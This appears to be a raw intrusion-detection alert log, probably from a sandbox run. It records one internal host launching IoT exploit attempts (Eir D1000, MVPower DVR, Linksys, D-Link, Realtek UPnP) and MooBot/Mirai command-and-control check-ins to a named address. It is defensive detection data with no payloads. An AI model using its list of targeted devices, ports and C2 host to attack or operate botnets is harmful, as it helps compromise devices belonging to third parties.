Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.73.125.46

Timestamp:	03/21/24-05:26:01.874030
SID:	2025883
Source Port:	38416
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 67.227.215.198

Timestamp:	03/21/24-05:26:52.260501
SID:	2025883
Source Port:	34586
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:48.286169
SID:	2030490
Source Port:	45568
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 174.110.227.32

Timestamp:	03/21/24-05:26:15.376251
SID:	2023548
Source Port:	43296
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 61.76.54.192

Timestamp:	03/21/24-05:26:22.278794
SID:	2023548
Source Port:	45262
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.121.54.83

Timestamp:	03/21/24-05:26:57.629548
SID:	2025132
Source Port:	59412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.104.254

Timestamp:	03/21/24-05:25:58.759349
SID:	2018132
Source Port:	39458
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.4.73.58

Timestamp:	03/21/24-05:26:57.979511
SID:	2023548
Source Port:	58122
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.51.252

Timestamp:	03/21/24-05:26:48.561069
SID:	2018132
Source Port:	42878
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 81.157.31.24

Timestamp:	03/21/24-05:26:02.542739
SID:	2023548
Source Port:	35850
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 203.220.190.64

Timestamp:	03/21/24-05:26:15.221383
SID:	2023548
Source Port:	40360
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 77.25.132.174

Timestamp:	03/21/24-05:25:58.927362
SID:	2023548
Source Port:	43934
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.59.182.108

Timestamp:	03/21/24-05:26:08.137994
SID:	2030092
Source Port:	52980
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.50.29.254

Timestamp:	03/21/24-05:26:55.786844
SID:	2025883
Source Port:	36946
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 40.82.218.181

Timestamp:	03/21/24-05:26:39.648644
SID:	2030092
Source Port:	36800
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.158.2

Timestamp:	03/21/24-05:26:53.026105
SID:	2018132
Source Port:	38616
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 59.22.40.124

Timestamp:	03/21/24-05:26:00.299248
SID:	2023548
Source Port:	49712
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 179.153.183.144

Timestamp:	03/21/24-05:26:16.673642
SID:	2023548
Source Port:	46746
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.44.5.126

Timestamp:	03/21/24-05:26:01.531597
SID:	2025883
Source Port:	43280
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 35.174.120.235

Timestamp:	03/21/24-05:26:18.322398
SID:	2831299
Source Port:	33784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 212.154.221.41

Timestamp:	03/21/24-05:26:53.982692
SID:	2025756
Source Port:	39646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.121.54.83

Timestamp:	03/21/24-05:26:57.859389
SID:	2831300
Source Port:	59592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 177.138.109.192

Timestamp:	03/21/24-05:26:07.388938
SID:	2023548
Source Port:	41204
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.210.0

Timestamp:	03/21/24-05:26:31.275447
SID:	2027153
Source Port:	51256
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:19.423455
SID:	2030490
Source Port:	45148
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.84.41.212

Timestamp:	03/21/24-05:25:49.227623
SID:	2030092
Source Port:	42718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 32.211.13.103

Timestamp:	03/21/24-05:26:15.207710
SID:	2023548
Source Port:	33270
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 115.3.111.124

Timestamp:	03/21/24-05:26:33.789900
SID:	2027153
Source Port:	52042
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:23.073757
SID:	2030490
Source Port:	46850
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 203.173.133.194

Timestamp:	03/21/24-05:26:00.591219
SID:	2023548
Source Port:	53292
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 78.185.217.124

Timestamp:	03/21/24-05:26:16.673438
SID:	2023548
Source Port:	51706
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:57.683406
SID:	2030490
Source Port:	45712
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 201.132.247.115

Timestamp:	03/21/24-05:26:55.415823
SID:	2023548
Source Port:	45140
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.218.188.247

Timestamp:	03/21/24-05:26:45.155069
SID:	2025883
Source Port:	38712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.83.203

Timestamp:	03/21/24-05:26:31.365125
SID:	2018132
Source Port:	50622
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 104.24.162.36

Timestamp:	03/21/24-05:27:11.331573
SID:	2027153
Source Port:	39528
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 98.152.5.170

Timestamp:	03/21/24-05:26:07.408072
SID:	2018132
Source Port:	48102
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 66.96.147.195

Timestamp:	03/21/24-05:25:35.984334
SID:	2025883
Source Port:	60602
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.74.110

Timestamp:	03/21/24-05:26:23.819418
SID:	2027153
Source Port:	60746
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 64.32.108.117

Timestamp:	03/21/24-05:26:55.006335
SID:	2023548
Source Port:	49334
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 216.55.111.157

Timestamp:	03/21/24-05:27:02.995574
SID:	2026102
Source Port:	36744
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.20.204.85

Timestamp:	03/21/24-05:25:59.627994
SID:	2023548
Source Port:	35648
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:45.613759
SID:	2030490
Source Port:	45558
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:06.839008
SID:	2030490
Source Port:	48766
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 121.7.59.12

Timestamp:	03/21/24-05:27:13.500732
SID:	2023548
Source Port:	42840
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.2.119.193

Timestamp:	03/21/24-05:25:59.588625
SID:	2023548
Source Port:	39074
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:50.015658
SID:	2030490
Source Port:	47772
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 98.201.154.121

Timestamp:	03/21/24-05:26:56.278967
SID:	2018132
Source Port:	53106
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.184.114

Timestamp:	03/21/24-05:25:59.630155
SID:	2027153
Source Port:	50846
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.223.69

Timestamp:	03/21/24-05:26:45.801611
SID:	2027153
Source Port:	48108
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:55.969307
SID:	2030490
Source Port:	47948
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 81.157.31.24

Timestamp:	03/21/24-05:26:02.732674
SID:	2023548
Source Port:	35854
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 216.92.42.218

Timestamp:	03/21/24-05:26:01.431904
SID:	2025883
Source Port:	57060
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 184.97.112.118

Timestamp:	03/21/24-05:26:11.147140
SID:	2023548
Source Port:	33916
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 51.89.133.14

Timestamp:	03/21/24-05:27:02.312604
SID:	2049119
Source Port:	42752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.168.155.7

Timestamp:	03/21/24-05:25:38.169186
SID:	2025883
Source Port:	40968
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 212.179.180.9

Timestamp:	03/21/24-05:27:06.960289
SID:	2025756
Source Port:	50872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 201.132.247.115

Timestamp:	03/21/24-05:26:55.204490
SID:	2023548
Source Port:	45122
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.62.164

Timestamp:	03/21/24-05:26:18.568479
SID:	2027153
Source Port:	40694
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 86.150.122.60

Timestamp:	03/21/24-05:26:15.273051
SID:	2023548
Source Port:	48738
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 121.136.181.89

Timestamp:	03/21/24-05:26:23.557742
SID:	2023548
Source Port:	44172
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 158.58.119.71

Timestamp:	03/21/24-05:25:58.487485
SID:	2023548
Source Port:	37378
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.59.182.108

Timestamp:	03/21/24-05:26:08.137994
SID:	2025883
Source Port:	52980
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 177.192.228.24

Timestamp:	03/21/24-05:25:58.405189
SID:	2023548
Source Port:	60244
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.203.79.201

Timestamp:	03/21/24-05:26:52.228497
SID:	2030092
Source Port:	60160
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:07.051044
SID:	2030490
Source Port:	45964
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 98.243.14.5

Timestamp:	03/21/24-05:26:02.076969
SID:	2018132
Source Port:	34652
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.122.62

Timestamp:	03/21/24-05:27:02.256980
SID:	2018132
Source Port:	35190
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.86.98.34

Timestamp:	03/21/24-05:27:09.866025
SID:	2025883
Source Port:	50660
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 99.235.13.184

Timestamp:	03/21/24-05:26:30.411890
SID:	2023548
Source Port:	39096
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 34.117.53.26

Timestamp:	03/21/24-05:26:38.267585
SID:	2026102
Source Port:	59132
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.4.73.58

Timestamp:	03/21/24-05:26:57.697409
SID:	2023548
Source Port:	58096
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 179.153.183.144

Timestamp:	03/21/24-05:26:11.317553
SID:	2023548
Source Port:	46366
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.102.24

Timestamp:	03/21/24-05:26:56.995577
SID:	2018132
Source Port:	34806
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.44.5.126

Timestamp:	03/21/24-05:26:01.531597
SID:	2030092
Source Port:	43280
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.4.29

Timestamp:	03/21/24-05:26:18.567899
SID:	2018132
Source Port:	39436
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 144.86.5.175

Timestamp:	03/21/24-05:26:16.673653
SID:	2023548
Source Port:	54392
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 14.67.209.80

Timestamp:	03/21/24-05:26:20.986929
SID:	2023548
Source Port:	46320
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 208.84.41.212

Timestamp:	03/21/24-05:25:49.227623
SID:	2025883
Source Port:	42718
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.243.233

Timestamp:	03/21/24-05:26:18.568331
SID:	2026102
Source Port:	52988
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.74.110

Timestamp:	03/21/24-05:26:23.804238
SID:	2026102
Source Port:	60764
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.220.85.79

Timestamp:	03/21/24-05:27:09.751271
SID:	2835221
Source Port:	41492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 186.138.198.149

Timestamp:	03/21/24-05:25:57.961715
SID:	2023548
Source Port:	43894
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.92.42.218

Timestamp:	03/21/24-05:26:01.431904
SID:	2030092
Source Port:	57060
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.64.229.173

Timestamp:	03/21/24-05:26:11.787328
SID:	2018132
Source Port:	36114
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.4.73.58

Timestamp:	03/21/24-05:26:58.728107
SID:	2023548
Source Port:	57856
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 212.24.19.138

Timestamp:	03/21/24-05:27:06.888800
SID:	2025756
Source Port:	57828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 98.222.181.87

Timestamp:	03/21/24-05:25:59.785403
SID:	2018132
Source Port:	38140
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.114.49

Timestamp:	03/21/24-05:26:27.426449
SID:	2018132
Source Port:	47436
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:30.497684
SID:	2030490
Source Port:	47148
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 23.202.65.219

Timestamp:	03/21/24-05:27:09.751188
SID:	2049119
Source Port:	44994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.201.215.40

Timestamp:	03/21/24-05:26:55.979224
SID:	2030092
Source Port:	42724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:13.787575
SID:	2030490
Source Port:	46486
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 104.24.162.36

Timestamp:	03/21/24-05:27:11.331573
SID:	2018132
Source Port:	39528
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:15.664194
SID:	2030490
Source Port:	45126
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.220.177.74

Timestamp:	03/21/24-05:25:51.698620
SID:	2030092
Source Port:	33814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.26.12.90

Timestamp:	03/21/24-05:25:51.822440
SID:	2030092
Source Port:	45854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.154.221.41

Timestamp:	03/21/24-05:26:53.982692
SID:	2835221
Source Port:	39646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.220.199.215

Timestamp:	03/21/24-05:25:42.857960
SID:	2030092
Source Port:	45072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.19.109.114

Timestamp:	03/21/24-05:26:39.319998
SID:	2030092
Source Port:	58400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 216.55.111.157

Timestamp:	03/21/24-05:27:02.995574
SID:	2018132
Source Port:	36744
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.197.142.75

Timestamp:	03/21/24-05:26:15.069541
SID:	2025883
Source Port:	46814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.196.216.128

Timestamp:	03/21/24-05:26:45.091850
SID:	2025883
Source Port:	56084
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 183.123.13.78

Timestamp:	03/21/24-05:26:58.263346
SID:	2023548
Source Port:	53700
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 175.233.25.38

Timestamp:	03/21/24-05:26:33.790026
SID:	2018132
Source Port:	56020
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 184.163.104.142

Timestamp:	03/21/24-05:26:35.996536
SID:	2018132
Source Port:	45898
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 175.240.225.222

Timestamp:	03/21/24-05:26:57.599478
SID:	2023548
Source Port:	40004
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.40.27

Timestamp:	03/21/24-05:26:59.269798
SID:	2018132
Source Port:	54518
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.2.119.193

Timestamp:	03/21/24-05:25:59.588759
SID:	2023548
Source Port:	39076
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

